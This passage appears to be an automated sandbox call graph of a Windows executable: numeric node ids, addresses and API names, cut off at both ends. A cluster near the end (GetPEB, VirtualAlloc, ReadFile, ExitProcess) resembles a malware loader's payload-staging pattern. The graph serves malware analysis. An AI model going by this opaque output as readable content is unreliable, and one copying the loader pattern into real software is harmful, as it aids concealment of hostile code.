94051->93908 94053 5cabaf 94052->94053 94054 5cabc4 94052->94054 94055 5c7bda __free_osfhnd 47 API calls 94053->94055 94057 5c7bda __free_osfhnd 47 API calls 94054->94057 94059 5cabe9 94054->94059 94056 5cabb4 94055->94056 94058 5c7c0e _raise 47 API calls 94056->94058 94060 5cabf3 94057->94060 94062 5cabbc 94058->94062 94059->94034 94061 5c7c0e _raise 47 API calls 94060->94061 94063 5cabfb 94061->94063 94062->94034 94064 5c6e10 _raise 8 API calls 94063->94064 94064->94062 94065->94037 94066->94041 94067->93462 94068->93470 94069->93479 94070->93479 94071->93480 94072->93493 94073->93495 94074->93492 94075->93500 94076->93501 94077->93519 94078->93513 94138 5cf8a0 94079->94138 94082 5a6a63 48 API calls 94083 5a6643 94082->94083 94140 5a6571 94083->94140 94086 5a40a7 94087 5cf8a0 __ftell_nolock 94086->94087 94088 5a40b4 GetLongPathNameW 94087->94088 94089 5a6a63 48 API calls 94088->94089 94090 5a40dc 94089->94090 94091 5a49a0 94090->94091 94092 5ad7f7 48 API calls 94091->94092 94093 5a49b2 94092->94093 94094 5a660f 49 API calls 94093->94094 94095 5a49bd 94094->94095 94096 5a49c8 94095->94096 94097 612e35 94095->94097 94099 5a64cf 48 API calls 94096->94099 94101 612e4f 94097->94101 94154 5bd35e 60 API calls 94097->94154 94100 5a49d4 94099->94100 94148 5a28a6 94100->94148 94103 5a49e7 Mailbox 94103->93256 94105 5a41a9 136 API calls 94104->94105 94106 5a415e 94105->94106 94107 613489 94106->94107 94108 5a41a9 136 API calls 94106->94108 94109 5ec396 122 API calls 94107->94109 94110 5a4172 94108->94110 94111 61349e 94109->94111 94110->94107 94114 5a417a 94110->94114 94112 6134a2 94111->94112 94113 6134bf 94111->94113 94115 5a4252 84 API calls 94112->94115 94116 5bf4ea 48 API calls 94113->94116 94117 6134aa 94114->94117 94118 5a4186 94114->94118 94115->94117 94137 613504 Mailbox 94116->94137 94243 5e6b49 87 API calls _wprintf 94117->94243 94155 5ac833 94118->94155 94121 6134b8 94121->94113 94123 6136b4 94124 5c1c9d _free 47 API calls 94123->94124 94125 6136bc 94124->94125 94126 5a4252 84 API calls 94125->94126 94131 6136c5 94126->94131 94130 5c1c9d _free 47 API calls 94130->94131 94131->94130 94133 5a4252 84 API calls 94131->94133 94249 5e25b5 86 API calls 4 library calls 94131->94249 94133->94131 94134 5ace19 48 API calls 94134->94137 94137->94123 94137->94131 94137->94134 94244 5e2551 48 API calls ___crtGetEnvironmentStringsW 94137->94244 94245 5e2472 60 API calls 2 library calls 94137->94245 94246 5e9c12 48 API calls 94137->94246 94247 5aba85 48 API calls ___crtGetEnvironmentStringsW 94137->94247 94248 5a4dd9 48 API calls 94137->94248 94139 5a661c GetFullPathNameW 94138->94139 94139->94082 94141 5a657f 94140->94141 94144 5ab18b 94141->94144 94143 5a4114 94143->94086 94145 5ab199 94144->94145 94147 5ab1a2 ___crtGetEnvironmentStringsW 94144->94147 94146 5abdfa 48 API calls 94145->94146 94145->94147 94146->94147 94147->94143 94149 5a28b8 94148->94149 94153 5a28d7 ___crtGetEnvironmentStringsW 94148->94153 94151 5bf4ea 48 API calls 94149->94151 94150 5bf4ea 48 API calls 94152 5a28ee 94150->94152 94151->94153 94152->94103 94153->94150 94154->94097 94156 5ac843 __ftell_nolock 94155->94156 94157 613095 94156->94157 94158 5ac860 94156->94158 94274 5e25b5 86 API calls 4 library calls 94157->94274 94255 5a48ba 49 API calls 94158->94255 94161 6130a8 94275 5e25b5 86 API calls 4 library calls 94161->94275 94162 5ac882 94256 5a4550 56 API calls 94162->94256 94164 5ac897 94164->94161 94166 5ac89f 94164->94166 94168 5ad7f7 48 API calls 94166->94168 94167 6130c4 94170 5ac90c 94167->94170 94169 5ac8ab 94168->94169 94257 5be968 49 API calls __ftell_nolock 94169->94257 94172 5ac91a 94170->94172 94173 6130d7 94170->94173 94260 5c1dfc 94172->94260 94176 5a4907 CloseHandle 94173->94176 94174 5ac8b7 94177 5ad7f7 48 API calls 94174->94177 94178 6130e3 94176->94178 94179 5ac8c3 94177->94179 94180 5a41a9 136 API calls 94178->94180 94181 5a660f 49 API calls 94179->94181 94182 61310d 94180->94182 94183 5ac8d1 94181->94183 94186 613136 94182->94186 94190 5ec396 122 API calls 94182->94190 94258 5beb66 SetFilePointerEx ReadFile 94183->94258 94185 5ac943 _wcscat _wcscpy 94189 5ac96d SetCurrentDirectoryW 94185->94189 94276 5e25b5 86 API calls 4 library calls 94186->94276 94187 5ac8fd 94259 5a46ce SetFilePointerEx SetFilePointerEx 94187->94259 94193 5bf4ea 48 API calls 94189->94193 94194 613129 94190->94194 94192 61314d 94227 5acad1 Mailbox 94192->94227 94195 5ac988 94193->94195 94196 613131 94194->94196 94197 613152 94194->94197 94200 5a47b7 48 API calls 94195->94200 94198 5a4252 84 API calls 94196->94198 94199 5a4252 84 API calls 94197->94199 94198->94186 94201 613157 94199->94201 94230 5ac993 Mailbox __wsetenvp 94200->94230 94202 5bf4ea 48 API calls 94201->94202 94209 613194 94202->94209 94203 5aca9d 94270 5a4907 94203->94270 94207 5a3d98 94207->93125 94207->93147 94208 5acaa9 SetCurrentDirectoryW 94208->94227 94277 5aba85 48 API calls ___crtGetEnvironmentStringsW 94209->94277 94213 6133ce 94283 5e9b72 48 API calls 94213->94283 94214 613467 94287 5e25b5 86 API calls 4 library calls 94214->94287 94218 613480 94218->94203 94219 6133f0 94284 6029e8 48 API calls ___crtGetEnvironmentStringsW 94219->94284 94221 6133fd 94223 5c1c9d _free 47 API calls 94221->94223 94222 61345f 94286 5e240b 48 API calls 3 library calls 94222->94286 94223->94227 94225 5ace19 48 API calls 94225->94230 94250 5a48dd 94227->94250 94230->94203 94230->94214 94230->94222 94230->94225 94263 5ab337 56 API calls _wcscpy 94230->94263 94264 5bc258 GetStringTypeW 94230->94264 94265 5acb93 59 API calls __wcsnicmp 94230->94265 94266 5acb5a GetStringTypeW __wsetenvp 94230->94266 94267 5c16d0 GetStringTypeW wcstoxq 94230->94267 94268 5acc24 162 API calls 3 library calls 94230->94268 94269 5bc682 48 API calls 94230->94269 94234 5ace19 48 API calls 94240 6131dd Mailbox 94234->94240 94237 613420 94285 5e25b5 86 API calls 4 library calls 94237->94285 94239 613439 94241 5c1c9d _free 47 API calls 94239->94241 94240->94213 94240->94234 94240->94237 94278 5e2551 48 API calls ___crtGetEnvironmentStringsW 94240->94278 94279 5e2472 60 API calls 2 library calls 94240->94279 94280 5e9c12 48 API calls 94240->94280 94281 5aba85 48 API calls ___crtGetEnvironmentStringsW 94240->94281 94282 5bc682 48 API calls 94240->94282 94242 61344c 94241->94242 94242->94227 94243->94121 94244->94137 94245->94137 94246->94137 94247->94137 94248->94137 94249->94131 94251 5a4907 CloseHandle 94250->94251 94252 5a48e5 Mailbox 94251->94252 94253 5a4907 CloseHandle 94252->94253 94254 5a48fc 94253->94254 94254->94207 94255->94162 94256->94164 94257->94174 94258->94187 94259->94170 94288 5c1e46 94260->94288 94263->94230 94264->94230 94265->94230 94266->94230 94267->94230 94268->94230 94269->94230 94271 5a4920 94270->94271 94272 5a4911 94270->94272 94271->94272 94273 5a4925 CloseHandle 94271->94273 94272->94208 94273->94272 94274->94161 94275->94167 94276->94192 94277->94240 94278->94240 94279->94240 94280->94240 94281->94240 94282->94240 94283->94219 94284->94221 94285->94239 94286->94214 94287->94218 94289 5c1e61 94288->94289 94292 5c1e55 94288->94292 94312 5c7c0e 47 API calls __getptd_noexit 94289->94312 94291 5c2019 94296 5c1e41 94291->94296 94313 5c6e10 8 API calls _raise 94291->94313 94292->94289 94300 5c1ed4 94292->94300 94307 5c9d6b 47 API calls _raise 94292->94307 94295 5c1fa0 94295->94289 94295->94296 94298 5c1fb0 94295->94298 94296->94185 94297 5c1f5f 94297->94289 94299 5c1f7b 94297->94299 94309 5c9d6b 47 API calls _raise 94297->94309 94311 5c9d6b 47 API calls _raise 94298->94311 94299->94289 94299->94296 94303 5c1f91 94299->94303 94300->94289 94306 5c1f41 94300->94306 94308 5c9d6b 47 API calls _raise 94300->94308 94310 5c9d6b 47 API calls _raise 94303->94310 94306->94295 94306->94297 94307->94300 94308->94306 94309->94299 94310->94296 94311->94296 94312->94291 94313->94296 94315 5bf4ea 48 API calls 94314->94315 94316 5a6b54 94315->94316 94316->93267 94317->93269 94319 5a4c8b 94318->94319 94324 5a4d94 94318->94324 94320 5bf4ea 48 API calls 94319->94320 94319->94324 94321 5a4cb2 94320->94321 94322 5bf4ea 48 API calls 94321->94322 94328 5a4d22 94322->94328 94324->93273 94328->94324 94331 5ab470 94328->94331 94359 5a4dd9 48 API calls 94328->94359 94360 5e9af1 48 API calls 94328->94360 94361 5aba85 48 API calls ___crtGetEnvironmentStringsW 94328->94361 94329->93275 94330->93277 94362 5a6b0f 94331->94362 94333 5ab69b 94374 5aba85 48 API calls ___crtGetEnvironmentStringsW 94333->94374 94335 5ab6b5 Mailbox 94335->94328 94338 61397b 94378 5e26bc 88 API calls 4 library calls 94338->94378 94341 5ab9e4 94380 5e26bc 88 API calls 4 library calls 94341->94380 94342 613973 94342->94335 94345 5aba85 48 API calls 94352 5ab495 94345->94352 94346 613989 94379 5aba85 48 API calls ___crtGetEnvironmentStringsW 94346->94379 94347 5abcce 48 API calls 94347->94352 94349 613909 94351 5a6b4a 48 API calls 94349->94351 94353 613914 94351->94353 94352->94333 94352->94338 94352->94341 94352->94345 94352->94347 94352->94349 94355 5abdfa 48 API calls 94352->94355 94358 613939 ___crtGetEnvironmentStringsW 94352->94358 94367 5ac413 59 API calls 94352->94367 94368 5abb85 94352->94368 94373 5abc74 48 API calls 94352->94373 94375 5ac6a5 49 API calls 94352->94375 94376 5ac799 48 API calls ___crtGetEnvironmentStringsW 94352->94376 94357 5bf4ea 48 API calls 94353->94357 94356 5ab66c CharUpperBuffW 94355->94356 94356->94352 94357->94358 94377 5e26bc 88 API calls 4 library calls 94358->94377 94359->94328 94360->94328 94361->94328 94363 5bf4ea 48 API calls 94362->94363 94364 5a6b34 94363->94364 94365 5a6b4a 48 API calls 94364->94365 94366 5a6b43 94365->94366 94366->94352 94367->94352 94369 5abb9b 94368->94369 94371 5abb96 ___crtGetEnvironmentStringsW 94368->94371 94370 5bee75 48 API calls 94369->94370 94372 611b77 94369->94372 94370->94371 94371->94352 94372->94372 94373->94352 94374->94335 94375->94352 94376->94352 94377->94342 94378->94346 94379->94342 94380->94342 94382 5a403c LoadImageW 94381->94382 94383 61418d EnumResourceNamesW 94381->94383 94384 5a3ee1 RegisterClassExW 94382->94384 94383->94384 94385 5a3f53 7 API calls 94384->94385 94385->93292 94387 613c33 94386->94387 94388 5a4c44 94386->94388 94387->94388 94389 613c3c DestroyIcon 94387->94389 94388->93302 94412 5e5819 61 API calls _W_store_winword 94388->94412 94389->94388 94391 5a51cb 94390->94391 94392 5a52a2 Mailbox 94390->94392 94393 5a6b0f 48 API calls 94391->94393 94392->93303 94394 5a51d9 94393->94394 94395 613ca1 LoadStringW 94394->94395 94396 5a51e6 94394->94396 94399 613cbb 94395->94399 94397 5a6a63 48 API calls 94396->94397 94398 5a51fb 94397->94398 94398->94399 94401 5a520c 94398->94401 94400 5a510d 48 API calls 94399->94400 94406 613cc5 94400->94406 94402 5a5216 94401->94402 94403 5a52a7 94401->94403 94404 5a510d 48 API calls 94402->94404 94405 5a6eed 48 API calls 94403->94405 94408 5a5220 _memset _wcscpy 94404->94408 94405->94408 94407 5a518c 48 API calls 94406->94407 94406->94408 94409 613ce7 94407->94409 94410 5a5288 Shell_NotifyIconW 94408->94410 94411 5a518c 48 API calls 94409->94411 94410->94392 94411->94408 94412->93302 94414 5af130 94413->94414 94415 5afe30 331 API calls 94414->94415 94420 5af199 94414->94420 94418 618728 94415->94418 94416 5af431 Mailbox 94426 5ecc5c 86 API calls 94416->94426 94431 5ad6e9 55 API calls 94416->94431 94435 618b7e 94416->94435 94438 618c53 94416->94438 94443 618beb 94416->94443 94445 5afe30 331 API calls 94416->94445 94452 5af537 Mailbox 94416->94452 94456 5b1b90 48 API calls 94416->94456 94458 5afce0 94416->94458 94620 5add47 48 API calls ___crtGetEnvironmentStringsW 94416->94620 94632 5d97ed InterlockedDecrement 94416->94632 94640 5bc1af 48 API calls 94416->94640 94417 5af595 94417->94416 94423 5ad7f7 48 API calls 94417->94423 94418->94420 94621 5ecc5c 86 API calls 4 library calls 94418->94621 94419 6187c8 94624 5ecc5c 86 API calls 4 library calls 94419->94624 94420->94417 94425 5ad7f7 48 API calls 94420->94425 94447 5af229 94420->94447 94464 5af3dd 94420->94464 94424 6187a3 94423->94424 94623 5c0f0a 52 API calls __cinit 94424->94623 94430 618772 94425->94430 94426->94416 94428 5af3f2 94465 5af418 94428->94465 94625 5e9af1 48 API calls 94428->94625 94429 618b1b 94441 618b2c 94429->94441 94442 618bcf 94429->94442 94622 5c0f0a 52 API calls __cinit 94430->94622 94431->94416 94433 5af770 94436 5af77a 94433->94436 94437 618a45 94433->94437 94634 5fe40a 331 API calls Mailbox 94435->94634 94454 5b1b90 48 API calls 94436->94454 94631 5bc1af 48 API calls 94437->94631 94639 5ecc5c 86 API calls 4 library calls 94438->94639 94439 618810 94626 5feef8 331 API calls 94439->94626 94440 5afe30 331 API calls 94460 5af6aa 94440->94460 94633 5ff5ee 331 API calls 94441->94633 94636 5ecc5c 86 API calls 4 library calls 94442->94636 94637 5fbdbd 331 API calls Mailbox 94443->94637 94445->94416 94447->94416 94447->94417 94447->94464 94447->94465 94452->93364 94454->94416 94456->94416 94457 618c00 94457->94452 94638 5ecc5c 86 API calls 4 library calls 94457->94638 94458->94452 94635 5ecc5c 86 API calls 4 library calls 94458->94635 94460->94416 94460->94433 94460->94440 94460->94452 94460->94458 94463 61884b 94627 5fccdc 48 API calls 94463->94627 94464->94416 94464->94419 94464->94428 94465->94416 94465->94429 94465->94460 94466 618823 94466->94463 94466->94465 94468 618857 94470 618865 94468->94470 94471 6188aa 94468->94471 94628 5e9b72 48 API calls 94470->94628 94474 6188a0 Mailbox 94471->94474 94629 5ea69d 48 API calls 94471->94629 94472 5afe30 331 API calls 94472->94452 94474->94472 94476 6188e7 94630 5abc74 48 API calls 94476->94630 94479 5b479f 94478->94479 94480 5b4637 94478->94480 94481 5ace19 48 API calls 94479->94481 94482 616e05 94480->94482 94483 5b4643 94480->94483 94486 5b46e4 Mailbox 94481->94486 94695 5fe822 331 API calls Mailbox 94482->94695 94694 5b4300 331 API calls ___crtGetEnvironmentStringsW 94483->94694 94492 5a4252 84 API calls 94486->94492 94641 5efa0c 94486->94641 94682 5f6ff0 94486->94682 94691 5e6524 94486->94691 94487 5b4659 94487->94486 94488 5b4739 Mailbox 94487->94488 94489 616e11 94487->94489 94488->93364 94489->94488 94696 5ecc5c 86 API calls 4 library calls 94489->94696 94492->94488 94819 5abd30 94495->94819 94497 5b3267 94498 5b32f8 94497->94498 94499 61907a 94497->94499 94566 5b3628 94497->94566 94831 5bc36b 86 API calls 94498->94831 94837 5ecc5c 86 API calls 4 library calls 94499->94837 94503 619072 94503->93364 94504 6194df 94504->94566 94854 5ecc5c 86 API calls 4 library calls 94504->94854 94506 5b3313 94506->94504 94516 5b34eb Mailbox ___crtGetEnvironmentStringsW 94506->94516 94506->94566 94824 5a2b7a 94506->94824 94510 61926d 94846 5ecc5c 86 API calls 4 library calls 94510->94846 94511 61909a 94513 5ad645 53 API calls 94511->94513 94553 6191fa 94511->94553 94512 5afe30 331 API calls 94515 619407 94512->94515 94517 61910c 94513->94517 94526 5ad6e9 55 API calls 94515->94526 94515->94566 94516->94510 94516->94511 94531 5afe30 331 API calls 94516->94531 94534 5bc3c3 48 API calls 94516->94534 94538 619438 94516->94538 94551 5bf4ea 48 API calls 94516->94551 94554 5b351f 94516->94554 94556 619394 94516->94556 94560 6193c5 94516->94560 94516->94566 94833 5ad9a0 53 API calls __cinit 94516->94833 94834 5ad8c0 53 API calls 94516->94834 94835 5bc2d6 48 API calls ___crtGetEnvironmentStringsW 94516->94835 94847 5fcda2 82 API calls Mailbox 94516->94847 94848 5e80e3 53 API calls 94516->94848 94849 5ad764 55 API calls 94516->94849 94850 5adcae 50 API calls Mailbox 94516->94850 94520 619220 94517->94520 94521 619114 94517->94521 94518 5b33ce 94518->94516 94523 5b3465 94518->94523 94524 61945e 94518->94524 94843 5a1caa 49 API calls 94520->94843 94532 619128 94521->94532 94539 619152 94521->94539 94529 5bf4ea 48 API calls 94523->94529 94852 5ec942 50 API calls 94524->94852 94526->94538 94548 5b346c 94529->94548 94530 61923d 94535 619252 94530->94535 94536 61925e 94530->94536 94531->94516 94838 5ecc5c 86 API calls 4 library calls 94532->94838 94534->94516 94844 5ecc5c 86 API calls 4 library calls 94535->94844 94845 5ecc5c 86 API calls 4 library calls 94536->94845 94851 5ecc5c 86 API calls 4 library calls 94538->94851 94543 619177 94539->94543 94547 619195 94539->94547 94839 5ff320 331 API calls 94543->94839 94546 61918b 94546->94566 94841 5bc2d6 48 API calls ___crtGetEnvironmentStringsW 94546->94841 94547->94546 94840 5ff5ee 331 API calls 94547->94840 94550 5ae8d0 331 API calls 94548->94550 94548->94554 94550->94516 94551->94516 94842 5ecc5c 86 API calls 4 library calls 94553->94842 94555 5a6eed 48 API calls 94554->94555 94557 5b3540 94554->94557 94555->94557 94559 5bf4ea 48 API calls 94556->94559 94561 6194b0 94557->94561 94563 5b3585 94557->94563 94557->94566 94559->94560 94560->94512 94853 5adcae 50 API calls Mailbox 94561->94853 94563->94504 94564 5b3615 94563->94564 94563->94566 94832 5adcae 50 API calls Mailbox 94564->94832 94567 5b3635 Mailbox 94566->94567 94836 5ecc5c 86 API calls 4 library calls 94566->94836 94567->93364 94569 61df42 94568->94569 94570 5be253 94568->94570 94571 61df77 94569->94571 94572 61df59 TranslateAcceleratorW 94569->94572 94570->93364 94572->94570 94574 5bdca3 94573->94574 94575 5bdc71 94573->94575 94574->93364 94575->94574 94576 5bdc96 IsDialogMessageW 94575->94576 94577 61dd1d GetClassLongW 94575->94577 94576->94574 94576->94575 94577->94575 94577->94576 94578->93364 94579->93364 94580->93308 94581->93312 94582->93317 94583->93364 94584->93364 94585->93359 94586->93359 94587->93359 94589 5afe50 94588->94589 94615 5afe7e 94588->94615 94590 5bf4ea 48 API calls 94589->94590 94590->94615 94591 5b146e 94592 5a6eed 48 API calls 94591->94592 94614 5affe1 94592->94614 94593 5b0509 94861 5ecc5c 86 API calls 4 library calls 94593->94861 94597 5bf4ea 48 API calls 94597->94615 94598 5b1473 94860 5ecc5c 86 API calls 4 library calls 94598->94860 94599 61a246 94601 5a6eed 48 API calls 94599->94601 94600 61a922 94600->93364 94601->94614 94603 5a6eed 48 API calls 94603->94615 94605 5ad7f7 48 API calls 94605->94615 94606 61a873 94606->93364 94607 5d97ed InterlockedDecrement 94607->94615 94608 61a30e 94608->94614 94858 5d97ed InterlockedDecrement 94608->94858 94609 5c0f0a 52 API calls __cinit 94609->94615 94611 61a973 94862 5ecc5c 86 API calls 4 library calls 94611->94862 94613 61a982 94614->93364 94615->94591 94615->94593 94615->94597 94615->94598 94615->94599 94615->94603 94615->94605 94615->94607 94615->94608 94615->94609 94615->94611 94615->94614 94616 5b15b5 94615->94616 94856 5b1820 331 API calls 2 library calls 94615->94856 94857 5b1d10 59 API calls Mailbox 94615->94857 94859 5ecc5c 86 API calls 4 library calls 94616->94859 94617->93359 94618->93359 94619->93359 94620->94416 94621->94420 94622->94447 94623->94416 94624->94452 94625->94439 94626->94466 94627->94468 94628->94474 94629->94476 94630->94474 94631->94416 94632->94416 94633->94416 94634->94458 94635->94452 94636->94452 94637->94457 94638->94452 94639->94452 94640->94416 94642 5efa1c __ftell_nolock 94641->94642 94643 5efa44 94642->94643 94773 5ad286 48 API calls 94642->94773 94697 5a936c 94643->94697 94646 5efa5e 94647 5efb68 94646->94647 94648 5efa80 94646->94648 94660 5efb92 94646->94660 94649 5a41a9 136 API calls 94647->94649 94650 5a936c 81 API calls 94648->94650 94651 5efb79 94649->94651 94657 5efa8c _wcscpy _wcschr 94650->94657 94653 5a41a9 136 API calls 94651->94653 94655 5efb8e 94651->94655 94652 5a936c 81 API calls 94654 5efbc7 94652->94654 94653->94655 94656 5c1dfc __wsplitpath 47 API calls 94654->94656 94655->94652 94655->94660 94666 5efbeb _wcscat _wcscpy 94656->94666 94661 5efab0 _wcscat _wcscpy 94657->94661 94664 5efade _wcscat 94657->94664 94658 5a936c 81 API calls 94659 5efafc _wcscpy 94658->94659 94774 5e72cb GetFileAttributesW 94659->94774 94660->94488 94662 5a936c 81 API calls 94661->94662 94662->94664 94664->94658 94665 5efb1c __wsetenvp 94665->94660 94667 5a936c 81 API calls 94665->94667 94670 5a936c 81 API calls 94666->94670 94668 5efb48 94667->94668 94775 5e60dd 77 API calls 4 library calls 94668->94775 94672 5efc82 94670->94672 94671 5efb5c 94671->94660 94717 5e690b 94672->94717 94674 5efca2 94675 5e6524 3 API calls 94674->94675 94676 5efcb1 94675->94676 94677 5a936c 81 API calls 94676->94677 94680 5efce2 94676->94680 94678 5efccb 94677->94678 94723 5ebfa4 94678->94723 94681 5a4252 84 API calls 94680->94681 94681->94660 94683 5a936c 81 API calls 94682->94683 94684 5f702a 94683->94684 94685 5ab470 91 API calls 94684->94685 94686 5f703a 94685->94686 94687 5f705f 94686->94687 94688 5afe30 331 API calls 94686->94688 94690 5f7063 94687->94690 94814 5acdb9 48 API calls 94687->94814 94688->94687 94690->94488 94815 5e6ca9 GetFileAttributesW 94691->94815 94694->94487 94695->94489 94696->94488 94698 5a9384 94697->94698 94715 5a9380 94697->94715 94699 614cbd __i64tow 94698->94699 94700 5a9398 94698->94700 94701 614bbf 94698->94701 94709 5a93b0 __itow Mailbox _wcscpy 94698->94709 94776 5c172b 80 API calls 3 library calls 94700->94776 94702 614ca5 94701->94702 94703 614bc8 94701->94703 94777 5c172b 80 API calls 3 library calls 94702->94777 94708 614be7 94703->94708 94703->94709 94706 5bf4ea 48 API calls 94707 5a93ba 94706->94707 94711 5ace19 48 API calls 94707->94711 94707->94715 94710 5bf4ea 48 API calls 94708->94710 94709->94706 94713 614c04 94710->94713 94711->94715 94712 5bf4ea 48 API calls 94714 614c2a 94712->94714 94713->94712 94714->94715 94716 5ace19 48 API calls 94714->94716 94715->94646 94716->94715 94718 5e6918 _wcschr __ftell_nolock 94717->94718 94719 5e692e _wcscat _wcscpy 94718->94719 94720 5c1dfc __wsplitpath 47 API calls 94718->94720 94719->94674 94721 5e695d 94720->94721 94722 5c1dfc __wsplitpath 47 API calls 94721->94722 94722->94719 94724 5ebfb1 __ftell_nolock 94723->94724 94725 5bf4ea 48 API calls 94724->94725 94726 5ec00e 94725->94726 94727 5a47b7 48 API calls 94726->94727 94728 5ec018 94727->94728 94729 5ebdb4 GetSystemTimeAsFileTime 94728->94729 94730 5ec023 94729->94730 94731 5a4517 83 API calls 94730->94731 94732 5ec036 _wcscmp 94731->94732 94733 5ec05a 94732->94733 94734 5ec107 94732->94734 94735 5ec56d 94 API calls 94733->94735 94736 5ec56d 94 API calls 94734->94736 94737 5ec05f 94735->94737 94751 5ec0d3 _wcscat 94736->94751 94738 5c1dfc __wsplitpath 47 API calls 94737->94738 94740 5ec110 94737->94740 94744 5ec088 _wcscat _wcscpy 94738->94744 94739 5a44ed 64 API calls 94741 5ec12c 94739->94741 94740->94680 94742 5a44ed 64 API calls 94741->94742 94743 5ec13c 94742->94743 94745 5a44ed 64 API calls 94743->94745 94746 5c1dfc __wsplitpath 47 API calls 94744->94746 94747 5ec157 94745->94747 94746->94751 94748 5a44ed 64 API calls 94747->94748 94749 5ec167 94748->94749 94750 5a44ed 64 API calls 94749->94750 94752 5ec182 94750->94752 94751->94739 94751->94740 94753 5a44ed 64 API calls 94752->94753 94754 5ec192 94753->94754 94755 5a44ed 64 API calls 94754->94755 94756 5ec1a2 94755->94756 94757 5a44ed 64 API calls 94756->94757 94758 5ec1b2 94757->94758 94778 5ec71a GetTempPathW GetTempFileNameW 94758->94778 94760 5ec1be 94761 5c3499 117 API calls 94760->94761 94768 5ec1cf 94761->94768 94762 5ec289 94763 5c35e4 __fcloseall 83 API calls 94762->94763 94764 5ec294 94763->94764 94764->94740 94766 5ec342 CopyFileW 94764->94766 94769 5ec2b8 94764->94769 94765 5a44ed 64 API calls 94765->94768 94766->94740 94767 5ec32d 94766->94767 94767->94740 94792 5ec6d9 CreateFileW 94767->94792 94768->94740 94768->94762 94768->94765 94779 5c2aae 94768->94779 94795 5eb965 118 API calls __fcloseall 94769->94795 94773->94643 94774->94665 94775->94671 94776->94709 94777->94709 94778->94760 94780 5c2aba _raise 94779->94780 94781 5c2aec 94780->94781 94782 5c2ad4 94780->94782 94783 5c2ae4 _raise 94780->94783 94784 5c4e1c __lock_file 48 API calls 94781->94784 94808 5c7c0e 47 API calls __getptd_noexit 94782->94808 94783->94768 94786 5c2af2 94784->94786 94796 5c2957 94786->94796 94787 5c2ad9 94809 5c6e10 8 API calls _raise 94787->94809 94793 5ec6ff SetFileTime CloseHandle 94792->94793 94794 5ec715 94792->94794 94793->94794 94794->94740 94795->94767 94798 5c2966 94796->94798 94803 5c2984 94796->94803 94797 5c2974 94811 5c7c0e 47 API calls __getptd_noexit 94797->94811 94798->94797 94798->94803 94807 5c299c ___crtGetEnvironmentStringsW 94798->94807 94800 5c2979 94812 5c6e10 8 API calls _raise 94800->94812 94810 5c2b24 LeaveCriticalSection LeaveCriticalSection _fprintf 94803->94810 94804 5c2c84 __flush 78 API calls 94804->94807 94805 5c2933 __fflush_nolock 47 API calls 94805->94807 94806 5caf61 __flswbuf 78 API calls 94806->94807 94807->94803 94807->94804 94807->94805 94807->94806 94813 5c8e63 78 API calls 6 library calls 94807->94813 94808->94787 94809->94783 94810->94783 94811->94800 94812->94803 94813->94807 94814->94690 94816 5e6529 94815->94816 94817 5e6cc4 FindFirstFileW 94815->94817 94816->94488 94817->94816 94818 5e6cd9 FindClose 94817->94818 94818->94816 94820 5abd3f 94819->94820 94823 5abd5a 94819->94823 94821 5abdfa 48 API calls 94820->94821 94822 5abd47 CharUpperBuffW 94821->94822 94822->94823 94823->94497 94825 5a2b8b 94824->94825 94826 61436a 94824->94826 94827 5bf4ea 48 API calls 94825->94827 94828 5a2b92 94827->94828 94829 5a2bb3 94828->94829 94855 5a2bce 48 API calls 94828->94855 94829->94518 94831->94506 94832->94566 94833->94516 94834->94516 94835->94516 94836->94503 94837->94506 94838->94566 94839->94546 94840->94546 94841->94553 94842->94566 94843->94530 94844->94566 94845->94566 94846->94566 94847->94516 94848->94516 94849->94516 94850->94516 94851->94566 94852->94554 94853->94504 94854->94566 94855->94829 94856->94615 94857->94615 94858->94614 94859->94614 94860->94606 94861->94600 94862->94613 94864 5a513f __wsetenvp 94863->94864 94865 611b27 94864->94865 94866 5a5151 94864->94866 94868 5a6b4a 48 API calls 94865->94868 94867 5abb85 48 API calls 94866->94867 94869 5a515e ___crtGetEnvironmentStringsW 94867->94869 94870 611b34 94868->94870 94869->93387 94871 5bee75 48 API calls 94870->94871 94872 611b57 ___crtGetEnvironmentStringsW 94871->94872 94874 5ab392 94873->94874 94875 5ab3c5 ___crtGetEnvironmentStringsW 94873->94875 94874->94875 94876 5ab3b8 94874->94876 94877 5ab3fd 94874->94877 94875->93397 94875->94875 94879 5abb85 48 API calls 94876->94879 94878 5bf4ea 48 API calls 94877->94878 94880 5ab407 94878->94880 94879->94875 94881 5bf4ea 48 API calls 94880->94881 94881->94875 94882->93396 94883 1036d90 94897 10349e0 94883->94897 94885 1036e3f 94900 1036c80 94885->94900 94887 1036e68 CreateFileW 94889 1036eb7 94887->94889 94890 1036ebc 94887->94890 94890->94889 94891 1036ed3 VirtualAlloc 94890->94891 94891->94889 94892 1036ef1 ReadFile 94891->94892 94892->94889 94893 1036f0c 94892->94893 94894 1035c80 13 API calls 94893->94894 94895 1036f3f 94894->94895 94896 1036f62 ExitProcess 94895->94896 94896->94889 94903 1037e70 GetPEB 94897->94903 94899 103506b 94899->94885 94901 1036c89 Sleep 94900->94901 94902 1036c97 94901->94902 94904 1037e9a 94903->94904 94904->94899 94905 619c06 94916 5bd3be 94905->94916 94907 619c1c 94908 619c91 Mailbox 94907->94908 94925 5a1caa 49 API calls 94907->94925 94912 5b3200 331 API calls 94908->94912 94910 619cc5 94914 61a7ab Mailbox 94910->94914 94927 5ecc5c 86 API calls 4 library calls 94910->94927 94911 619c71 94911->94910 94926 5eb171 48 API calls 94911->94926 94912->94910 94917 5bd3ca 94916->94917 94918 5bd3dc 94916->94918 94928 5adcae 50 API calls Mailbox 94917->94928 94920 5bd40b 94918->94920 94921 5bd3e2 94918->94921 94929 5adcae 50 API calls Mailbox 94920->94929 94923 5bf4ea 48 API calls 94921->94923 94924 5bd3d4 94923->94924 94924->94907 94925->94911 94926->94908 94927->94914 94928->94924 94929->94924 94930 5a3742 94931 5a374b 94930->94931 94932 5a37c8 94931->94932 94933 5a3769 94931->94933 94971 5a37c6 94931->94971 94935 611e00 94932->94935 94936 5a37ce 94932->94936 94937 5a382c PostQuitMessage 94933->94937 94938 5a3776 94933->94938 94934 5a37ab DefWindowProcW 94964 5a37b9 94934->94964 94985 5a2ff6 16 API calls 94935->94985 94939 5a37d3 94936->94939 94940 5a37f6 SetTimer RegisterWindowMessageW 94936->94940 94937->94964 94942 611e88 94938->94942 94943 5a3781 94938->94943 94944 5a37da KillTimer 94939->94944 94945 611da3 94939->94945 94947 5a381f CreatePopupMenu 94940->94947 94940->94964 94990 5e4ddd 60 API calls _memset 94942->94990 94948 5a3789 94943->94948 94949 5a3836 94943->94949 94982 5a3847 Shell_NotifyIconW _memset 94944->94982 94951 611da8 94945->94951 94952 611ddc 